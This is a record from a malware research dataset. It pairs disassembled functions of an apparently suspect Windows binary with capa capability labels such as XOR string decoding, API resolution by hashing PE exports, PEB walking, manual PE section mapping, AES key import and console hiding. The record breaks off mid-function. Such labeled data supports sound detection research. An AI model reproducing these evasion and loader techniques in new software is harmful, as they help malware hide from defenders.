joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1400026b0
Capabilities:
Decode data using base64 via winapi

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rbp
push rsi
push rdi
push r14
sub rsp, 0x70
mov rax, qword [0x1400d0780]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rsi, rdx
mov rdi, rcx
mov qword [rsp + 0x48], rcx
xor r14d, r14d
mov dword [rsp + 0x48], r14d
mov rcx, rdx
cmp qword [rdx + 0x18], 0xf
jbe 0x1400026f1
mov rcx, qword [rdx]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor edx, edx
mov r8d, 1
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x14000272a
mov qword [rdi], r14
mov qword [rdi + 8], r14
mov qword [rdi + 0x10], r14
jmp 0x140002859
xorps xmm0, xmm0
mov ebp, dword [rsp + 0x48]
movdqu xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x60], r14
test rbp, rbp
je 0x140002768
mov edx, ebp
lea rcx, [rsp + 0x50]
call fcn.14000ca00
mov rbx, qword [rsp + 0x50]
mov r8d, ebp
xor edx, edx
mov rcx, rbx
call fcn.14009ec30
lea rax, [rbx + rbp]
mov qword [rsp + 0x58], rax
cmp qword [rsi + 0x18], 0xf
jbe 0x140002772
mov rsi, qword [rsi]
mov qword [rsp + 0x30], r14
mov qword [rsp + 0x28], r14
lea rax, [rsp + 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
xor edx, edx
mov r8d, 1
mov rcx, rsi
call qword [sym.imp.CRYPT32.dll_CryptStringToBinaryA]
test eax, eax
jne 0x1400027ed
mov qword [rdi], r14
mov qword [rdi + 8], r14
mov qword [rdi + 0x10], r14
mov rcx, qword [rsp + 0x50]
test rcx, rcx
je 0x140002859
mov rdx, qword [rsp + 0x60]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400027e6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000287e
call fcn.14006eba0
jmp 0x140002859
mov r8d, dword [rsp + 0x48]
mov r9, qword [rsp + 0x58]
mov rdx, r9
mov rcx, qword [rsp + 0x50]
sub rdx, rcx
cmp r8, rdx
jae 0x14000280d
lea r9, [r8 + rcx]
jmp 0x140002849
jbe 0x140002849
mov rax, qword [rsp + 0x60]
sub rax, rcx
cmp r8, rax
jbe 0x140002830
mov rdx, r8
lea rcx, [rsp + 0x50]
call fcn.14000cfc0
mov r9, qword [rsp + 0x58]
jmp 0x140002844
sub r8, rdx
lea rbx, [r9 + r8]
xor edx, edx
mov rcx, r9
call fcn.14009ec30
mov r9, rbx
mov rcx, qword [rsp + 0x50]
mov rax, qword [rsp + 0x60]
mov qword [rdi], rcx
mov qword [rdi + 8], r9
mov qword [rdi + 0x10], rax
mov rax, rdi
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.14006eb80
lea r11, [rsp + 0x70]
mov rbx, qword [r11 + 0x30]
mov rbp, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rsi
ret
call fcn.140075574
int3
Function at 0x140002890
Capabilities:
Create new key via cryptacquirecontext
Encrypt data using aes via winapi

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r14
push r15
sub rsp, 0x60
mov rax, qword [0x1400d0780]
xor rax, rsp
mov qword [rsp + 0x58], rax
mov r14, rdx
mov rsi, rcx
lea rbp, reloc.WS2_32.dll_bind
mov qword [rsp + 0x30], rbp
mov rcx, rbp
call fcn.14006e2f4
test eax, eax
jne 0x140002a3b
cmp dword [0x1400d146c], 0x7fffffff
je 0x140002a46
mov dword [rsp + 0x20], 0xf0000000
mov r9d, 0x18
lea r8, str.Microsoft_Enhanced_RSA_and_AES_Cryptographic_Provider
xor edx, edx
mov rcx, r14
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
mov rdi, qword [rsi + 8]
sub rdi, qword [rsi]
add rdi, 0xc
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x38], xmm0
mov r15d, 0
mov qword [rsp + 0x48], r15
je 0x14000295a
movabs rax, 0x7fffffffffffffff
cmp rdi, rax
ja 0x140002a5b
mov rdx, rdi
lea rcx, [rsp + 0x38]
call fcn.14000ca00
mov rcx, qword [rsp + 0x38]
lea rbx, [rdi + rcx]
mov r8, rdi
xor edx, edx
call fcn.14009ec30
mov qword [rsp + 0x40], rbx
mov rax, qword [rsp + 0x38]
mov dword [rax], 0x208
mov dword [rax + 4], 0x6610
mov ecx, dword [rsi + 8]
sub ecx, dword [rsi]
mov rax, qword [rsp + 0x38]
mov dword [rax + 8], ecx
mov rdx, qword [rsi]
mov r8, qword [rsi + 8]
sub r8, rdx
mov rcx, qword [rsp + 0x38]
add rcx, 0xc
call fcn.14009e590
mov qword [rsp + 0x50], r15
mov r8d, dword [rsp + 0x40]
mov rdx, qword [rsp + 0x38]
sub r8d, edx
lea rax, [rsp + 0x50]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], r15d
xor r9d, r9d
mov rcx, qword [r14]
call qword [sym.imp.ADVAPI32.dll_CryptImportKey]
mov rbx, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x38]
test rcx, rcx
je 0x140002a09
mov rdx, qword [rsp + 0x48]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400029f6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002a35
call fcn.14006eba0
xorps xmm0, xmm0
movdqu xmmword [rsp + 0x38], xmm0
mov qword [rsp + 0x48], r15
mov rcx, rbp
call fcn.14006e2fc
mov rax, rbx
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14006eb80
mov rbx, qword [rsp + 0xa0]
add rsp, 0x60
pop r15
pop r14
pop rdi
pop rsi
pop rbp
ret
call fcn.140075574
nop
mov ecx, 5
call fcn.14006c76c
int3
mov dword [0x1400d146c], 0x7ffffffe
mov ecx, 6
call fcn.14006c76c
nop
call fcn.14000c9e0
int3
Function at 0x1400033f0
Capabilities:
Encode data using xor

Disassembly:
sub rsp, 8
xor eax, eax
movq xmm2, r8
punpcklqdq xmm2, xmm2
mov r9, rdx
mov r10, rcx
test rdx, rdx
je 0x14000357b
cmp rdx, 8
jb 0x140003560
cmp dword [reloc.WS2_32.dll_accept], 5
jl 0x140003560
movdqa xmm3, xmmword [0x1400c29f0]
mov r11, rdx
movdqa xmm4, xmmword [reloc.WS2_32.dll_getsockopt]
lea rdx, [rcx + 4]
movdqa xmm5, xmmword [0x1400c2a50]
and r11, 0xfffffffffffffff8
mov qword [rsp + 0x10], rbx
mov rbx, 0xfffffffffffffffe
mov qword [rsp], rdi
sub rbx, rcx
mov edi, 2
sub rdi, rcx
movzx ecx, word [rdx - 4]
movq xmm0, rax
punpcklqdq xmm0, xmm0
add rax, 8
paddq xmm0, xmm3
andps xmm0, xmm4
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx - 4], cx
lea rcx, [rbx + rdx]
movq xmm0, rcx
movzx ecx, word [rdx - 2]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm3
andps xmm0, xmm4
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx - 2], cx
mov rcx, rdx
sub rcx, r10
movq xmm0, rcx
movzx ecx, word [rdx]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm3
andps xmm0, xmm4
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx], cx
lea rcx, [rdi + rdx]
movq xmm0, rcx
movzx ecx, word [rdx + 2]
punpcklqdq xmm0, xmm0
paddq xmm0, xmm3
andps xmm0, xmm4
psllq xmm0, 3
vpsrlvq xmm1, xmm2, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [rdx + 2], cx
add rdx, 8
cmp rax, r11
jb 0x140003463
mov rdi, qword [rsp]
mov rbx, qword [rsp + 0x10]
cmp rax, r9
jae 0x14000357b
nop word [rax + rax]
movzx ecx, al
mov rdx, r8
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [r10 + rax], dl
inc rax
cmp rax, r9
jb 0x140003560
add rsp, 8
ret
Function at 0x140009690
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 4], 0
mov r8, rcx
je 0x140009742
xor eax, eax
cmp dword [reloc.WS2_32.dll_accept], 5
jl 0x140009717
movdqa xmm2, xmmword [0x1400c29f0]
movdqa xmm3, xmmword [reloc.WS2_32.dll_getsockopt]
movdqa xmm4, xmmword [0x1400c2a90]
movdqa xmm5, xmmword [0x1400c2a50]
nop dword [rax + rax]
movzx ecx, word [r8 + rax]
movq xmm0, rax
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [r8 + rax], cx
add rax, 2
cmp rax, 4
jb 0x1400096d0
mov byte [r8 + 4], 0
mov rax, r8
ret
movabs r9, 0x18bbb0f7187a9df
movzx ecx, al
mov rdx, r9
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [r8 + rax], dl
inc rax
cmp rax, 4
jb 0x140009721
mov byte [r8 + 4], 0
mov rax, r8
ret

Function at 0x140009750
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 4], 0
mov r8, rcx
je 0x140009802
xor eax, eax
cmp dword [reloc.WS2_32.dll_accept], 5
jl 0x1400097d7
movdqa xmm2, xmmword [0x1400c29f0]
movdqa xmm3, xmmword [reloc.WS2_32.dll_getsockopt]
movdqa xmm4, xmmword [0x1400c2e60]
movdqa xmm5, xmmword [0x1400c2a50]
nop dword [rax + rax]
movzx ecx, word [r8 + rax]
movq xmm0, rax
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [r8 + rax], cx
add rax, 2
cmp rax, 4
jb 0x140009790
mov byte [r8 + 4], 0
mov rax, r8
ret
movabs r9, 0xcfcf7b078b9119b1
movzx ecx, al
mov rdx, r9
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [r8 + rax], dl
inc rax
cmp rax, 4
jb 0x1400097e1
mov byte [r8 + 4], 0
mov rax, r8
ret

Function at 0x140009810
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 4], 0
mov r8, rcx
je 0x1400098c2
xor eax, eax
cmp dword [reloc.WS2_32.dll_accept], 5
jl 0x140009897
movdqa xmm2, xmmword [0x1400c29f0]
movdqa xmm3, xmmword [reloc.WS2_32.dll_getsockopt]
movdqa xmm4, xmmword [0x1400c2ac0]
movdqa xmm5, xmmword [0x1400c2a50]
nop dword [rax + rax]
movzx ecx, word [r8 + rax]
movq xmm0, rax
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [r8 + rax], cx
add rax, 2
cmp rax, 4
jb 0x140009850
mov byte [r8 + 4], 0
mov rax, r8
ret
movabs r9, 0xf0d79c7579b9527
movzx ecx, al
mov rdx, r9
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [r8 + rax], dl
inc rax
cmp rax, 4
jb 0x1400098a1
mov byte [r8 + 4], 0
mov rax, r8
ret
Function at 0x14000a530
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 4], 0
mov r8, rcx
je 0x14000a5e2
xor eax, eax
cmp dword [reloc.WS2_32.dll_accept], 5
jl 0x14000a5b7
movdqa xmm2, xmmword [0x1400c29f0]
movdqa xmm3, xmmword [reloc.WS2_32.dll_getsockopt]
movdqa xmm4, xmmword [0x1400c2b00]
movdqa xmm5, xmmword [0x1400c2a50]
nop dword [rax + rax]
movzx ecx, word [r8 + rax]
movq xmm0, rax
punpcklqdq xmm0, xmm0
paddq xmm0, xmm2
andps xmm0, xmm3
psllq xmm0, 3
vpsrlvq xmm1, xmm4, xmm0
movd xmm0, ecx
pshufb xmm1, xmm5
xorps xmm1, xmm0
movd ecx, xmm1
mov word [r8 + rax], cx
add rax, 2
cmp rax, 4
jb 0x14000a570
mov byte [r8 + 4], 0
mov rax, r8
ret
movabs r9, 0x1dcb7db75fa1fbe3
movzx ecx, al
mov rdx, r9
and cl, 7
shl cl, 3
shr rdx, cl
xor byte [r8 + rax], dl
inc rax
cmp rax, 4
jb 0x14000a5c1
mov byte [r8 + 4], 0
mov rax, r8
ret

Function at 0x14000b080
Capabilities:
Encode data using xor

Disassembly:
cmp byte [rcx + 0x18], 0
mov r8, rcx
je 0x14000b196
xor eax, eax
cmp dword [reloc.WS2_32.dll_accept], 5
jl 0x14000b153
movdqa xmm3, xmmword [0x1400c2b60]
mov eax, 8
movdqa xmm2, xmmword [0x1400c2a60]
movdqa xmm4, xmmword [0x1400c2a80]
movdqa xmm0, xmmword [0x1400c29f0]
psllq xmm0, 3
vpsrlvq xmm1, xmm3, xmm0
movd xmm0, dword [rcx]
pshufb xmm1, xmm2
andps xmm1, xmm4
xorps xmm1, xmm0
movdqa xmm0, xmmword [reloc.WS2_32.dll_bind]
movd dword [rcx], xmm1
psllq xmm0, 3
vpsrlvq xmm1, xmm3, xmm0
movd xmm0, dword [rcx + 4]
pshufb xmm1, xmm2
andps xmm1, xmm4
xorps xmm1, xmm0
movdqa xmm0, xmmword [reloc.WS2_32.dll_connect]
movd dword [rcx + 4], xmm1
psllq xmm0, 3
vpsrlvq xmm1, xmm3, xmm0
movd xmm0, dword [rcx + 8]
pshufb xmm1, xmm2
andps xmm1, xmm4
xorps xmm1, xmm0
movdqa xmm0, xmmword [reloc.WS2_32.dll_getsockname]
movd dword [rcx + 8], xmm1
psllq xmm0, 3
vpsrlvq xmm1, xmm3, xmm0
movd xmm0, dword [rcx + 0xc]
pshufb xmm1, xmm2
andps xmm1, xmm4
xorps xmm1, xmm0
movd dword [rcx + 0xc], xmm1
movabs r9, 0x3137030b2137eb3b
mov r10d, 0xff
nop dword [rax]
nop word [rax + rax]
movzx ecx, al
mov rdx, r9
and cl, 7
shl cl, 3
shr rdx, cl
and dx, r10w
xor word [r8 + rax*2], dx
inc rax
cmp rax, 0xc
jb 0x14000b170
mov byte [r8 + 0x18], 0
ret
Function at 0x14000d620
Capabilities:
Enumerate pe sections

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x30
mov rbx, rcx
lea rdx, [rcx + 0x150]
mov rcx, qword [rcx + 0x140]
call qword [rbx + 0x18]
mov rdx, qword [rbx + 0x1d8]
lea r8, [rbx + 0xc0]
mov rcx, qword [rbx + 0x138]
xor esi, esi
add rdx, 0x10
mov qword [rsp + 0x20], rsi
mov r9d, 8
call qword [rbx + reloc.WS2_32.dll_htonl]
mov rax, qword [rbx + 0xa0]
mov rdx, qword [rbx + 0xc0]
cmp rdx, qword [rax + 0x30]
jne 0x14000d68a
mov rcx, qword [rbx + 0x138]
call qword [rbx + 0x28]
mov rdx, qword [rbx + 0xa0]
mov r9d, 0x3000
mov rax, qword [rbx + 0x48]
mov rcx, qword [rbx + 0x138]
mov dword [rsp + 0x20], 0x40
mov r8d, dword [rdx + 0x50]
mov rdx, qword [rdx + 0x30]
call rax
mov rcx, qword [rbx + 0x138]
mov qword [rbx + 0xb8], rax
test rax, rax
jne 0x14000d6e0
mov edx, 1
call qword [rbx]
xor al, al
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x30
pop rdi
ret
mov r9, qword [rbx + 0xa0]
mov rdx, rax
mov r8, qword [rbx + 0xb0]
mov qword [rsp + 0x20], rsi
mov r9d, dword [r9 + 0x54]
call qword [rbx + reloc.WS2_32.dll_recv]
mov rcx, qword [rbx + 0xa0]
mov edi, esi
movzx eax, word [rcx + 0x14]
lea r9, [rcx + 0x18]
add r9, rax
mov qword [rbx + 0xa8], r9
cmp si, word [rcx + 6]
jae 0x14000d774
nop
mov r8d, dword [r9 + 0x14]
mov edx, dword [r9 + 0xc]
add r8, qword [rbx + 0xb0]
add rdx, qword [rbx + 0xb8]
mov rax, qword [rbx + 0x10]
mov r9d, dword [r9 + 0x10]
mov rcx, qword [rbx + 0x138]
mov qword [rsp + 0x20], rsi
call rax
test eax, eax
jne 0x14000d6ce
add qword [rbx + 0xa8], 0x28
inc edi
mov rcx, qword [rbx + 0xa0]
mov r9, qword [rbx + 0xa8]
movzx eax, word [rcx + 6]
cmp edi, eax
jb 0x14000d720
mov eax, dword [rcx + 0x28]
add rax, qword [rbx + 0xb8]
mov qword [rbx + 0x1d0], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
mov r8, qword [rbx + 0xa0]
mov r9d, 8
mov rdx, qword [rbx + 0x1d8]
add r8, 0x30
mov rax, qword [rbx + 0x10]
add rdx, 0x10
mov rcx, qword [rbx + 0x138]
mov qword [rsp + 0x20], rsi
call rax
mov rbx, qword [rsp + 0x40]
test eax, eax
mov rsi, qword [rsp + 0x48]
sete al
add rsp, 0x30
pop rdi
ret
Function at 0x14000e4d0
Capabilities:
Access peb ldr_data
Encode data using xor
Hash data using fnv
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x500
mov rax, qword [0x1400d0780]
xor rax, rsp
mov qword [rsp + 0x4f0], rax
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x4d0
call fcn.14009ec30
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14000e597
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14000e597
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0x6f234175
lea rcx, [rdi + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x14000e592
nop
movsx edx, dl
lea rcx, [rcx + 1]
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx - 1]
test dl, dl
jne 0x14000e570
cmp r8d, 0x8158fd98
je 0x14000e59c
test r9d, r9d
jne 0x14000e550
mov rax, qword [rax]
jmp 0x14000e520
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
add rax, r10
call rax
mov rsi, rax
mov dword [rsp + 0x50], 0x100010
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov ebx, dword [rcx + r10 + 0x88]
add rbx, r10
cmp rbx, r10
je 0x14000e657
mov r9d, dword [rbx + 0x18]
test r9d, r9d
je 0x14000e657
mov edi, dword [rbx + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
mov r8d, 0xa71ae735
lea rcx, [rdi + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x14000e652
nop
movsx ecx, cl
lea rdx, [rdx + 1]
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx - 1]
test cl, cl
jne 0x14000e630
cmp r8d, 0x8bcc8fee
je 0x14000e65c
test r9d, r9d
jne 0x14000e610
mov rax, qword [rax]
jmp 0x14000e5e0
mov ecx, dword [rbx + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rbx + 0x1c]
add rcx, r10
mov eax, dword [rcx + rdx*4]
lea rdx, [rsp + 0x20]
add rax, r10
mov rcx, rsi
call rax
test eax, eax
je 0x14000e6c1
cmp qword [rsp + 0x68], 0
jne 0x14000e6ba
cmp qword [rsp + 0x70], 0
jne 0x14000e6ba
cmp qword [rsp + 0x78], 0
jne 0x14000e6ba
cmp qword [rsp + 0x80], 0
jne 0x14000e6ba
cmp qword [rsp + 0x88], 0
jne 0x14000e6ba
cmp qword [rsp + 0x90], 0
je 0x14000e6c1
mov eax, 1
jmp 0x14000e6c3
xor eax, eax
mov rcx, qword [rsp + 0x4f0]
xor rcx, rsp
call fcn.14006eb80
lea r11, [rsp + 0x500]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x14000fe10
Capabilities:
Access peb ldr_data
Encode data using xor
Encrypt data using rc4 prga

Disassembly:
sub rsp, 0x58
mov rax, qword [0x1400d0780]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov rax, qword gs:[0x30]
xorps xmm0, xmm0
mov r11d, edx
movups xmmword [rsp], xmm0
mov rcx, qword [rax + 0x60]
movups xmmword [rsp + 0x10], xmm0
movups xmmword [rsp + 0x20], xmm0
mov r10, qword [rcx + 0x18]
add r10, 0x20
movups xmmword [rsp + 0x30], xmm0
mov r9, qword [r10]
cmp r9, r10
je 0x14000feff
nop dword [rax]
mov rax, qword [r9 + 0x50]
test rax, rax
je 0x14000fef3
xorps xmm0, xmm0
lea rdx, [rsp]
movups xmmword [rsp], xmm0
mov r8d, 0x3f
movups xmmword [rsp + 0x10], xmm0
movups xmmword [rsp + 0x20], xmm0
movups xmmword [rsp + 0x30], xmm0
nop dword [rax]
movzx ecx, byte [rax]
mov byte [rdx], cl
test cl, cl
je 0x14000feb2
movzx ecx, byte [rax + 2]
add rax, 4
mov byte [rdx + 1], cl
add rdx, 2
test cl, cl
je 0x14000feb2
sub r8d, 2
jns 0x14000fe90
movzx eax, byte [rsp]
lea rdx, [rsp]
mov r8d, 0x25
test al, al
je 0x14000feee
nop dword [rax]
nop dword [rax + rax]
movsx eax, al
lea rdx, [rdx + 1]
imul ecx, eax, 0x12ca3
movzx eax, byte [rdx]
imul r8d, r8d, 0xd32b
xor r8d, ecx
test al, al
jne 0x14000fed0
cmp r8d, r11d
je 0x14000ff13
mov r9, qword [r9]
cmp r9, r10
jne 0x14000fe60
xor eax, eax
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14006eb80
add rsp, 0x58
ret
mov rax, qword [r9 + 0x20]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14006eb80
add rsp, 0x58
ret

Function at 0x14000ff30
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
mov edi, r8d
mov r9, rdx
test rdx, rdx
je 0x140010001
mov eax, 0x5a4d
cmp word [rdx], ax
jne 0x140010001
movsxd rax, dword [rdx + 0x3c]
add rax, rdx
je 0x140010001
add rax, 0x18
je 0x140010001
mov eax, dword [rax + 0x70]
add rax, rdx
je 0x140010001
mov esi, dword [rax + 0x1c]
xor r10d, r10d
mov r11d, dword [rax + 0x20]
add rsi, rdx
mov ebp, dword [rax + 0x24]
add r11, rdx
mov ebx, dword [rax + 0x18]
add rbp, rdx
test ebx, ebx
je 0x140010001
mov eax, dword [r11]
mov r8d, 0x25
add rax, r9
movzx ecx, byte [rax]
test cl, cl
je 0x14000ffde
nop dword [rax]
nop dword [rax + rax]
movsx ecx, cl
lea rax, [rax + 1]
imul edx, ecx, 0x12ca3
movzx ecx, byte [rax]
imul r8d, r8d, 0xd32b
xor r8d, edx
test cl, cl
jne 0x14000ffc0
cmp r8d, edi
je 0x14000fff1
inc r10d
add r11, 4
cmp r10d, ebx
jb 0x14000ffa1
jmp 0x140010001
movsxd rax, r10d
movzx ecx, word [rbp + rax*2]
mov eax, dword [rsi + rcx*4]
add rax, r9
jmp 0x140010003
xor eax, eax
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
Function at 0x140018e10
Capabilities:
Encode data using xor
Hash data using djb2

Disassembly:
push rbx
sub rsp, 0x20
mov rbx, rcx
test rcx, rcx
je 0x140018ef2
call fcn.140030120
test al, al
jne 0x140018ef2
mov qword [rsp + 0x30], rsi
xor esi, esi
mov qword [rsp + 0x38], rdi
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rbx + rdi], sil
jne 0x140018e42
mov r8, rdi
mov edx, 0x2e
mov rcx, rbx
call fcn.14003b360
test rax, rax
je 0x140018e87
sub rax, rbx
mov edx, 0x2e
mov r8, rax
mov rcx, rbx
call fcn.14003b360
mov rsi, rax
test rax, rax
je 0x140018e87
inc rsi
mov rcx, rbx
sub rcx, rsi
add rdi, rcx
test rsi, rsi
cmovne rbx, rsi
lea rsi, [rbx + rdi]
mov edi, 0x1505
cmp rbx, rsi
jae 0x140018ebb
nop dword [rax]
movzx ecx, byte [rbx]
call fcn.14002acd0
imul rdi, rdi, 0x21
movsx rcx, al
inc rbx
xor rdi, rcx
cmp rbx, rsi
jb 0x140018ea0
mov rsi, qword [rsp + 0x30]
mov rcx, rdi
movabs rax, 0x410410410410411
mul rdi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 5
imul rcx, rcx, 0x3f
sub rdi, rcx
mov rax, rdi
mov rdi, qword [rsp + 0x38]
add rsp, 0x20
pop rbx
ret
xor eax, eax
add rsp, 0x20
pop rbx
ret
Function at 0x14001f4b0
Capabilities:
Convert ip address from string

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x40
mov rax, qword [0x1400d0780]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov r14, qword [rdx + 0x10]
mov rbx, rcx
mov rax, qword [rdx + 0x18]
lea rcx, str.pF_n_
cmp qword [rdx], rcx
jne 0x14001f4f7
mov rdi, qword [rax + 0x128]
mov rsi, qword [rax + 0x130]
mov ebp, dword [rax + 0x138]
jmp 0x14001f50b
mov rdi, qword [rax + 0xa0]
mov rsi, qword [rax + 0xa8]
mov ebp, dword [rax + 0x728]
mov qword [rsp + 0x80], r15
test rdi, rdi
je 0x14001f6cb
mov r9, qword [rbx]
test r9, r9
je 0x14001f54b
mov r8, r9
mov rax, rdi
sub r8, rdi
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x14001f543
inc rax
test ecx, ecx
jne 0x14001f530
test edx, edx
je 0x14001f6cb
mov rcx, qword [rbx + 8]
cmp rcx, r9
je 0x14001f55a
call qword [str._Q_a_]
mov rcx, qword [rbx + 0x10]
call qword [str._Q_a_]
mov rcx, qword [rbx]
call qword [str._Q_a_]
xor r15d, r15d
mov rcx, rdi
mov qword [rbx + 8], r15
mov qword [rbx + 0x10], r15
mov qword [rbx], r15
mov byte [rbx + 0x18], r15b
call qword [case.0x140021c5f.1]
mov qword [rbx], rax
mov r9, rax
test rax, rax
jne 0x14001f5ce
mov rcx, qword [rbx + 8]
cmp rcx, rax
je 0x14001f5a2
call qword [str._Q_a_]
mov rcx, qword [rbx + 0x10]
call qword [str._Q_a_]
mov rcx, qword [rbx]
call qword [str._Q_a_]
mov eax, 0x1b
mov qword [rbx + 8], r15
mov qword [rbx + 0x10], r15
mov qword [rbx], r15
mov byte [rbx + 0x18], r15b
jmp 0x14001f6d1
test rsi, rsi
je 0x14001f613
mov r8, rsi
sub r8, rdi
nop dword [rax]
movzx edx, byte [rdi]
movzx eax, byte [rdi + r8]
sub edx, eax
jne 0x14001f5f3
inc rdi
test eax, eax
jne 0x14001f5e0
test edx, edx
je 0x14001f613
mov rcx, rsi
call qword [case.0x140021c5f.1]
mov qword [rbx + 8], rax
test rax, rax
jne 0x14001f617
cmp rax, qword [rbx]
je 0x14001f5a2
mov rcx, rax
jmp 0x14001f59c
mov qword [rbx + 8], r9
mov rdi, qword [rbx]
mov qword [rbx + 0x10], r15
test rdi, rdi
je 0x14001f658
cmp byte [rdi], r15b
je 0x14001f658
lea r8, [rsp + 0x20]
mov rdx, rdi
mov ecx, 2
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
jne 0x14001f654
lea r8, [rsp + 0x20]
mov rdx, rdi
lea ecx, [rax + 0x17]
call qword [sym.imp.WS2_32.dll_inet_pton]
test eax, eax
je 0x14001f658
mov cl, 1
jmp 0x14001f65a
xor cl, cl
mov rax, qword [rbx]
mov byte [rbx + 0x18], cl
cmp byte [rax], r15b
je 0x14001f6cb
test cl, cl
jne 0x14001f6cb
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], r15b
jne 0x14001f670
test rdi, rdi
je 0x14001f688
cmp byte [rax + rdi - 1], 0x2e
